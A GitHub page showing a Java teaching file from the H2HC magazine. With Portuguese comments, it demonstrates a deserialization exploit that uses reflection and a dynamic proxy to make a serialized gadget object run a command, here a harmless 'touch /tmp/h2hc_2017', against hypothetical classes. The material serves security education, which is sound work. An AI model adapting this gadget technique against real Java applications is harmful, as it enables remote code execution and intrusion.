JavaDeserH2HC/ExploitGadgetExample1.java at master · securityphoenix/JavaDeserH2HC · GitHub

History

72 lines (66 loc) · 3.05 KB

Raw

import java.io.FileInputStream;

import java.io.FileOutputStream;

import java.io.IOException;

import java.io.ObjectInputStream;

import java.io.ObjectOutputStream;

import java.lang.reflect.Field;

import java.lang.reflect.InvocationHandler;

import java.lang.reflect.Proxy;

import java.util.Map;

/**

* Exemplo didático de como usar Reflection e Dynamic Proxy para desviar

* o fluxo de execução durante a desserialização.

* Esse código gera um payload para explorar um sistema hipotético que contenha

* as classes ForgottenClass e SomeInvocationHandler no classpatch.

* -----------------------------------------------------------------------

* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:

* https://www.h2hc.com.br/revista/

* -----------------------------------------------------------------------

**** USAGE ****

* Compilando:

* $ javac -cp .:commons-collections-3.2.1.jar ExploitGadgetExample1.java

* Executando

* $ rm /tmp/h2hc_2017

* $ java -cp .:commons-collections-3.2.1.jar ExploitGadgetExample1

* $ ls -all /tmp/h2hc_2017

* @author @joaomatosf

public class ExploitGadgetExample1{

@SuppressWarnings ( {"unchecked"} )

public static void main(String[] args)

throws NoSuchFieldException, IllegalArgumentException, IllegalAccessException,

IOException, ClassNotFoundException {

// Instancia um SomeInvocationHandler

InvocationHandler handler = new SomeInvocationHandler();

Field fieldHandler = handler.getClass().getDeclaredField("cmd"); //obtem campo "cmd" do SomeInvocationHandler

fieldHandler.setAccessible(true); // torna o campo "cmd" acessível

fieldHandler.set(handler, "touch /tmp/h2hc_2017"); // atribui um valor ao campo "cmd"

// criar interface Map

Class[] interfaceMap = new Class[] {java.util.Map.class};

// Cria Proxy "entre" interfaceMap e o Handler SomeInvocationHandler

Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaceMap, handler);

// Intancia ForgottenClass (que sera' serializado)

ForgottenClass gadget = new ForgottenClass();

Field field = gadget.getClass().getDeclaredField("map"); // obtem campo "map" do ForgottenClass

field.setAccessible(true); // torna o campo "map" acessível

field.set(gadget, proxyMap); // Atribui o Proxy ao campo "map"

// Serializa objeto do ForgottenClass e salva no disco

System.out.println("Serializing ForgottenClass");

FileOutputStream fos = new FileOutputStream("/tmp/object.ser");

ObjectOutputStream oos = new ObjectOutputStream(fos);

oos.writeObject(gadget);

oos.flush();

// Desserializa objeto a partir do arquivo, para simular o que devera

// ocorrer quando o objeto for desserializado por uma aplicacao

System.out.println("Deserializing ForgottenClass");

FileInputStream fis = new FileInputStream("/tmp/object.ser");

ObjectInputStream ois = new ObjectInputStream(fis);

ois.readObject(); // <-- Inicia a desserializacao!

} //end main

}

JavaDeserH2HC/ExploitGadgetExample1.java at master · securityphoenix/JavaDeserH2HC · GitHub

Uh oh!

Expand file tree

Breadcrumbs

ExploitGadgetExample1.java

Latest commit

History

Breadcrumbs

ExploitGadgetExample1.java

File metadata and controls